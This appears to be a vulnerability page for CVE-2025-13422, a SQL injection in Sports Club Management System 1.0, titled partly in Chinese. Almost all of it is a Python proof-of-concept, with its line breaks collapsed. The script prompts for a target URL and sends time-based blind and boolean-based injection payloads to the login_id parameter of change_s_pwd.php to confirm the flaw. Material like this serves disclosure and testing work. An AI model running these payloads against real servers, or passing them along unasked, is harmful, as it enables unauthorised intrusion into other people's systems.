CVE-2025-13422 Sports Club Management System SQL注入漏洞

import requests import sys # CVE-2025-13422 SQL Injection PoC # Target: Sports Club Management System 1.0 # File: /dashboard/admin/change_s_pwd.php # Parameter: login_id target_url = input("Enter target URL (e.g., http://target.com): ").rstrip('/') # SQL Injection payload - Time-based blind injection payload = "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) AND '1'='1" # Target endpoint endpoint = f"{target_url}/dashboard/admin/change_s_pwd.php" # Parameters params = { 'login_id': payload } print(f"[*] Sending payload to {endpoint}") print(f"[*] Payload: {payload}") try: response = requests.get(endpoint, params=params, timeout=30) print(f"[+] Response status: {response.status_code}") print(f"[+] Response time: {response.elapsed.total_seconds()}s") if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability confirmed! SQL injection successful.") print("[!] Server is vulnerable to time-based blind SQL injection.") else: print("[-] No obvious time delay detected.") except requests.exceptions.Timeout: print("[!] Request timed out - potential vulnerability") except Exception as e: print(f"[-] Error: {str(e)}") # Boolean-based injection test bool_payload_true = "1' AND 1=1 AND '1'='1" bool_payload_false = "1' AND 1=2 AND '1'='1" print("\n[*] Testing boolean-based injection...") try: resp_true = requests.get(endpoint, params={'login_id': bool_payload_true}, timeout=10) resp_false = requests.get(endpoint, params={'login_id': bool_payload_false}, timeout=10) if len(resp_true.text) != len(resp_false.text): print("[!] Boolean-based SQL injection confirmed!") except Exception as e: print(f"[-] Error during boolean test: {str(e)}")